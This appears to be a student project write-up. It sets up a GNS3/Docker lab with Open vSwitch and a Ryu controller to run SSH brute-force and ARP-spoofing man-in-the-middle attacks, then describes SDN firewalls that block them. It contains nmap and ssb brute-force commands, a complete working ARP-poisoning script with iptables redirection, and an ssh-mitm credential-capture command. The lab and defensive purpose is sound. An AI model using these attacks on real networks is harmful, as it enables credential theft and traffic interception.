Understanding and Mitigating SSH Attacks Using SDN

Understanding and Mitigating SSH Attacks Using SDN

Main motivations

I frequently use SSH to administer all my servers and instances, including Proxmox and Oracle Cloud. Recently, I started adding key protection for each one. For a university project, I needed to perform some attacks and use SDN (Software-Defined Networking) to stop them. This led me to the idea of attacking and protecting SSH.

My primary goal is to demonstrate how to perform well-known SSH attacks and subsequently use SDN to defend against these attacks. To achieve this, I need a virtual environment, essential for replicating real-world network scenarios in a controlled setting. Although I was advised to use Mininet for network emulation, I found it difficult to integrate with SSH servers and other services. Therefore, I decided to create my own Docker images to set up containerized environments and use GNS3 for orchestration. For the SDN component, I will utilize the Ryu Controller and OpenVSwitch.

We will begin by setting up the virtual topology, detailing the configurations in GNS3 and Docker. This setup forms the foundation for our exploration of SSH brute force and MITM (Man-in-the-Middle) attacks. We will demonstrate how to execute these attacks and then show how SDN can be deployed to detect, manage, and effectively thwart such threats.

You can find the full project, including all configurations and scripts, on my GitHub repository.


Docker

I use docker a lot so I knew that it would enable us to achieve the desired goals. Docker allows for the creation of isolated "virtual machines" each with its own set of software and user configurations entirely separate from one another.

For this we need 3 docker files for each host: server, attacker and defender. On the attacker's and defender's docker files, we install python, openssh and created a user and password for each machine. In the attacker's dockerfile, we add the python script used for bruteforce and a list of usernames and passwords that it can use when executing the attack.
For the server docker images we install openssh and create the username and password that the defender needs to access the server. We also open the port so that the defender could connect to it from his machine, in this case the classic port 22, but we can easily change it later.

# Use the latest Ubuntu LTS image as the base
FROM ubuntu:latest

# Create a user with the arguments passed in
ARG USERNAME=bob
ARG PASSWORD=1secret
RUN useradd -rm -d /home/$USERNAME -s /bin/bash -g root -G sudo -u 1001 $USERNAME && \
    echo "$USERNAME:$PASSWORD" | chpasswd && \
    mkdir /var/run/sshd

# Update package lists and install OpenSSH server
RUN apt-get update && \
    apt-get install -y openssh-server sudo 

# Accept password authentication
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config

# Expose the default SSH port
EXPOSE 22

# Set the default command to start the SSH server
CMD ["/usr/sbin/sshd", "-D"]

Other dockerfiles can be found on the docker folder on github.

GNS3

To implement software-defined networking, it was essential for me to have a Ryu manager and an Open vSwitch. However, I struggled to understand how to use Open vSwitch and couldn't find a suitable Docker image for it. Additionally, the limited solutions available for ARM-based Apple Silicon devices led me to consider an alternative approach using Proxmox virtualization.

I found GNS3 to be extremely useful for this task, especially because I could host the virtual machines on my amd64 machine and easily orchestrate the network topology. This approach was ideal for launching all my newly created Docker images, integrating an Open vSwitch Docker container, and setting up a dedicated Ryu machine seamlessly.

VM on proxmox

To host the VM, I opted to convert the ESXi image to a QEMU image format for deployment on Proxmox. While there are several tutorials available for this process, here are the main steps:

  1. Create New VM in Proxmox:

    • Create a new VM in Proxmox and configure the CPU model to host. Remove the default HDD during creation.

      qm create <vmid> --name <vmname> --memory <memory> --cores <cores> --sockets <sockets> --cpu host --net0 <model=virtio>
      

      Replace <vmid>, <vmname>, <memory>, <cores>, <sockets>, and <model=virtio> with your specific configuration.

      Example:

      qm create 103 --name GNS3-VM --memory 4096 --cores 4 --sockets 1 --cpu host --net0 virtio
      
  2. Extract and Upload VMDK Files:

    • Extract the necessary VMDK files from the GNS3 VM OVA (assuming they are named GNS3_VM-disk1.vmdk and GNS3_VM-disk2.vmdk) and upload them to the /tmp directory on Proxmox.
  3. Convert and Import VMDK Disks:

    • Convert the uploaded VMDK disks to qcow2 format and import them into the VM created in step 1.

      qm importdisk 103 /tmp/GNS3_VM-disk1.vmdk local-lvm -format qcow2
      qm importdisk 103 /tmp/GNS3_VM-disk2.vmdk local-lvm -format qcow2
      

      Replace 103 with the <vmid> of the VM created in step 1, and adjust /tmp/GNS3_VM-disk1.vmdk and /tmp/GNS3_VM-disk2.vmdk with the actual paths to your uploaded VMDK files.

      Example:

      qm importdisk 103 /tmp/GNS3_VM-disk1.vmdk local-lvm -format qcow2
      qm importdisk 103 /tmp/GNS3_VM-disk2.vmdk local-lvm -format qcow2
      

Topology

When GNS3 was finally setup, here is the topology I created:

All hosts are Docker containers. For them to be added on the list of hosts on the interface we need them to be on DockerHub. On my M2 MacBook Air I compiled all 4 images and made the images available on DockerHub in maxbekh/sshbruteforce_sds-X, making the configuration easy to deploy and reuse.

docker buildx build --push --platform linux/amd64 -t {username}/sshbruteforce_sds-{type} -f {dockerfilename} .

We can then add the images from GNS3:

Network configuration

When all host are create, we need to configure network interfaces. To do that we choose "Edit config" in each container uses to use the following network interface configuration:

auto eth0
iface eth0 inet static
    address 10.0.0.12
    netmask 255.255.255.0
    gateway 10.0.0.1
    up echo nameserver 10.0.0.1 > /etc/resolv.conf
    hostname bob

For the external hosts (external-attacker and R1 on f1/0) we use dhcp of the NAT node to assign IP on 192.168.122.0/24.

The IP addresses assigned are as follows:

  • 10.0.0.10 for ovs (OpenVSwitch)
  • 10.0.0.11 for the server
  • 10.0.0.12 for Bob
  • 10.0.0.13 for the local attacker
  • 10.0.0.20 for the Ryu controller

OpenVSwitch

The OVS is a docker template from GNS3 (gns3/openvswitch). The switch is configured to use OpenFlow 1.3, with Ryu set as the controller.

    $ ovs-vsctl set bridge br0 protocols=OpenFlow13
    $ ovs-vsctl set-controller br0 tcp:10.0.0.20:6633

Router

I used a Cisco c7200 router image based on Dynamips virtualization (see GNS3 template) for R1 , the topology's router. After installing the FastEthernet adapter PA-FE-2TX, we can configure the router using the following startup script:

!
! Configuration
!
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname R1
!
ip cef
no ip domain-lookup
no ip icmp rate-limit unreachable
ip tcp synwait 5
no cdp log mismatch duplex
!
line con 0
 exec-timeout 0 0
 logging synchronous
 privilege level 15
 no login
line aux 0
 exec-timeout 0 0
 logging synchronous
 privilege level 15
 no login
!
! DNS configuration
!
ip host ovs 10.0.0.10
ip host server 10.0.0.11
ip host bob 10.0.0.12
ip host attacker 10.0.0.13
ip host ryu 10.0.0.20
!
! Interface configuration for PA-2FE-TX
!
interface FastEthernet1/0
 description NAT Interface
 ip address dhcp
 ip nat outside
 no shutdown
!
interface FastEthernet1/1
 description Local Interface
 ip address 10.0.0.1 255.255.255.0
 ip nat inside
 no shutdown
!
! NAT configuration
!
ip nat inside source list 1 interface FastEthernet1/0 overload
!
! Access-list for NAT
!
access-list 1 permit 10.0.0.0 0.0.0.255
!
! DNS Forwarding
!
ip domain-lookup  
ip name-server 8.8.8.8  
ip dns server  
ip dns forwarder  
!
! Default route
!
ip route 0.0.0.0 0.0.0.0 192.168.122.1
!
! ACL for SSH traffic to 10.0.0.11
!
access-list 100 permit tcp any host 10.0.0.11 eq 22
!
! Port forwarding for SSH
!
ip nat inside source static tcp 10.0.0.11 22 interface FastEthernet1/0 22
!
end

Disabling ip domain-lookup prevents the router from trying to resolve unknown commands as domain names, speeding up error responses.

Static hostnames are mapped to IP addresses, simplifying local name resolution for key network nodes like ovs, server, bob, attacker, and ryu.

Google’s public DNS server (8.8.8.8) is used for DNS forwarding, enabling DNS services on the router with ip dns server.

FastEthernet1/0 is designated as the NAT (Network Address Translation) outside interface with its IP address assigned via DHCP.

FastEthernet1/1 is the local inside interface with a static IP address of 10.0.0.1.

Specific port forwarding rules are established to allow SSH traffic on port 22 to be forwarded to an internal server at 10.0.0.11.

access-list 1 permits all traffic from the local 10.0.0.0/24 network for NAT.

access-list 100 permits SSH traffic to the server at 10.0.0.11 on port 22, securing remote access.

A default route is configured to forward all traffic destined for unknown networks to 192.168.122.1, which is the next-hop gateway (NAT) for internet access in GNS3.

SSH BruteForce

Attack

On the machine "attacker" we first run nmap to find devices on the network that we want to attack.

  $ nmap -sn 192.168.122.0/24

Then we choose a machine to attack and run nmap again to find open ports, services, and technologies.

  $ nmap -sV -sC -O -T4 -n -Pn -oA fastscan 192.168.122.192

Now that we see an open port for SSH, we launch the tool ssb (Secure Shell Brute-Force) with the dictionary darkweb_2017.txt. Note that we choose to directly attack the server with the given user "bob", but the same wordlist attack could be performed to find the user "bob"; it will just take more time.

 $ cd sshbruteforce_sds/
 $ cd bruteforce
 $ ./ssb -w darkweb_2017.txt -o password.txt [email protected]
ssb

Defense with SDN

While changing the password and using a different SSH port can provide some protection, a more robust defense mechanism can be implemented using Software-Defined Networking (SDN). We can leverage the Ryu controller and Open vSwitch to set up a firewall application that can block the brute-force attack. The Ryu firewall application monitor the network traffic and detect multiple login attempts to ssh protocols from the same source IP address within a short period. Once a brute-force attack is detected, the Ryu controller dynamically update the flow rules in the Open vSwitch to block the attacker's IP address or rate-limit the SSH traffic from that source. Additionally, the Ryu controller log and generate alerts for detected attacks, allowing for better visibility and incident response.

Bruteforce Ryu Firewall in python

With the OpenVSwitch set up and the Ryu host ready, we just need to launch the Ryu app.

# Navigate to the sshbruteforce_sds/ryu/ directory
$ cd sshbruteforce_sds/ryu/

# Launch the Ryu manager with the ssh_bruteforce_firewall.py application
$ ryu-manager ssh_bruteforce_firewall.py

After 10 unsuccessful attempts, the IP address of the client will be blocked for 10 minutes. These values (10 attempts and 10 minutes) are arbitrary variables that can be changed by modifying the BLOCK_IDLE_TIMEOUT and ATTEMPT_THRESHOLD variables, respectively.

SSH Man-In-The-Middle

The host attacker on 10.0.0.13 will to execute an ARP flood attack targeting Bob (10.0.0.12) and router R1 (10.0.0.1). The attacker's objective is to spoof the server at 10.0.0.11 by inundating the network with ARP replies, thereby poisoning the ARP caches of Bob and R1. This will redirect their traffic intended for the server to the attacker's machine. Following this, with a man-in-the-middle (MITM) SSH server to intercept connections from Bob, will capture Bob's password, and seamlessly relay the connection to the actual server to avoid detection. To counter this threat, we have implemented a Ryu-based firewall configured to block ARP poisoning and ARP flooding attacks, effectively mitigating the attacker's ability to disrupt the network and ensuring the integrity of communications between Bob, R1, and the server.

Attack

ARP Poisonning

To conduct the ARP flood attack we use a python a on host attacker. The attack script, arpattack.py, leverages ARP spoofing to disrupt network communication and set up the redirection to the mitm SSH server to intercept sensitive data. The attacker targets Bob (10.0.0.12) and router R1 (10.0.0.1), aiming to spoof the server at 10.0.0.11. The script sends ARP replies to poison the ARP caches of Bob and R1, misleading them to associate the server's IP with the attacker's MAC address.

import subprocess
import scapy.all as scapy
from scapy.layers.l2 import Ether, ARP
from scapy.sendrecv import send
import time

def run_command(command, ignore_errors=False):
    """Execute a shell command"""
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    if process.returncode != 0 and not ignore_errors:
        print(f"Error executing command: {command}\n{stderr.decode()}")
    return stdout.decode()

def setup_iptables():
    """Setup iptables rules"""
    run_command("echo 1 > /proc/sys/net/ipv4/ip_forward", ignore_errors=True)
    run_command("iptables -t nat -A PREROUTING -p tcp -d 10.0.0.11 --dport 22 -j DNAT --to-destination 10.0.0.13:10022", ignore_errors=True)
    run_command("iptables -A FORWARD -p tcp -d 10.0.0.13 --dport 10022 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT", ignore_errors=True)
    run_command("iptables -t nat -A POSTROUTING -j MASQUERADE", ignore_errors=True)

def populate_arptable(ip):
    """Populate ARP table"""
    run_command("ping -c1 ", ip)

def clear_iptables():
    """Clear iptables rules"""
    run_command("iptables -t nat -D PREROUTING -p tcp -d 10.0.0.11 --dport 22 -j DNAT --to-destination 10.0.0.13:10022")
    run_command("iptables -D FORWARD -p tcp -d 10.0.0.13 --dport 10022 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT")
    run_command("iptables -t nat -D POSTROUTING -j MASQUERADE")

def get_mac(ip):
    """Get MAC address for a given IP"""
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
    
    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        raise Exception(f"No response for ARP request to IP {ip}")

def spoof(target_ip, spoof_ip):
    """Send ARP spoofing packet to target IP"""
    try:
        target_mac = get_mac(target_ip)
        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        send(packet, verbose=False)
    except Exception as e:
        print(f"Error in spoofing {target_ip} as {spoof_ip}: {e}")

def restore(destination_ip, source_ip):
    """Restore original ARP table state"""
    try:
        destination_mac = get_mac(destination_ip)
        source_mac = get_mac(source_ip)
        packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        send(packet, verbose=False, count=4)
    except Exception as e:
        print(f"Error in restoring {destination_ip} to {source_ip}: {e}")

if __name__ == "__main__":
    target_ip = "10.0.0.11"
    gateway_ip = "10.0.0.1"
    bob_ip = "10.0.0.12"

    try:
        # Populate ARP table
        populate_arptable(target_ip)
        # Setup iptables rules
        setup_iptables()

        sent_packets_count = 0
        while True:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
            spoof(target_ip, bob_ip)
            spoof(bob_ip, target_ip)
            
            sent_packets_count += 4
            print(f"\r[*] Packets Sent: {sent_packets_count}", end="")
            time.sleep(2)  # Waits for two seconds

    except KeyboardInterrupt:
        print("\nCtrl + C pressed.............Exiting")
    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        # Clear iptables rules
        clear_iptables()

        restore(gateway_ip, target_ip)
        restore(target_ip, gateway_ip)
        restore(bob_ip, target_ip)
        restore(target_ip, bob_ip)
        print("[+] ARP Spoof Stopped and ARP tables restored")

This python script do:

  • Send a ping to the target IP (10.0.0.11) to ensure the ARP table is populated with current entries.
  • Configures iptables to forward SSH traffic on port 22 destined for the server (10.0.0.11) to the attacker’s machine (10.0.0.13) on port 10022. This setup enables the attacker to intercept and relay SSH connections.
  • Continuously sends ARP replies to Bob and R1, associating the server's IP with the attacker's MAC address. This process involves spoofing both the Routeur IP (10.0.0.1) and Bob (10.0.0.12) to redirect their traffic through the attacker's machine.
  • Upon termination, the script clears the iptables rules and restores the original ARP table entries to prevent network disruption.

SSH server MITM

The MITM ssh server is implemented using ssh-mitm, a powerful tool designed for intercepting and manipulating SSH traffic. We start ssh-mitm with the command:

    $ ssh-mitm server --remote-host 10.0.0.11

When Bob (10.0.0.12) attempts to connect to the server, the SSH connection is first routed through the MITM server on 10.0.0.13. This allows the MITM server to capture Bob's credentials and any other sensitive information exchanged during the session. The MITM server then transparently forwards the connection to the actual server, making the interception undetectable to Bob. This setup not only facilitates credential theft but also enables the attacker to monitor and manipulate the ongoing SSH session without raising any suspicion from the victim.

SSH-MITM server

ARP Poisoning Firewal

The arpfirewall.py is implemented using the ryu on the same host as the previous firewall using OpenFlow 1.3 protocol. The purpose of this firewall is to detect and mitigate ARP flood and ARP spoofing attack on the local network.

Python Ryu Firewall

  • The firewall application initializes with a predefined set of constants and dictionaries to keep track of hosts, MAC address counts, and thresholds for detecting ARP floods. The ARP_FLOOD_THRESHOLD is set to 20, indicating the maximum number of ARP requests allowed from a single MAC address before it is considered an attack.
  • The handler is triggered when the switch connects to the controller. It installs a table-miss flow entry to forward packets to the controller and an ARP-specific flow entry to capture ARP packets.
  • The add_flow method is used to add flow entries to the switch. It takes the datapath, priority, match criteria, and actions as parameters to define how packets should be processed.
  • The drop_arp_from_mac method installs a flow entry to drop ARP packets from a specified MAC address. This is triggered when an ARP flood or spoofing attack is detected.
  • The handle_arp method processes incoming ARP packets. It updates the count of ARP requests from each MAC address and detects floods or spoofing attempts. If an attack is detected, it calls drop\_arp\_from\_mac to mitigate the threat.
  • The handle_dhcp method processes DHCP ACK packets to update the list of known hosts with their assigned IP addresses and MAC addresses.
  • The packet_in_handler method is the main entry point for handling incoming packets. It processes Ethernet, ARP, and DHCP packets, updating the MAC-to-port mapping and handling them according to the defined rules.

The previous attack is stopped when the count of packet sent is 20 :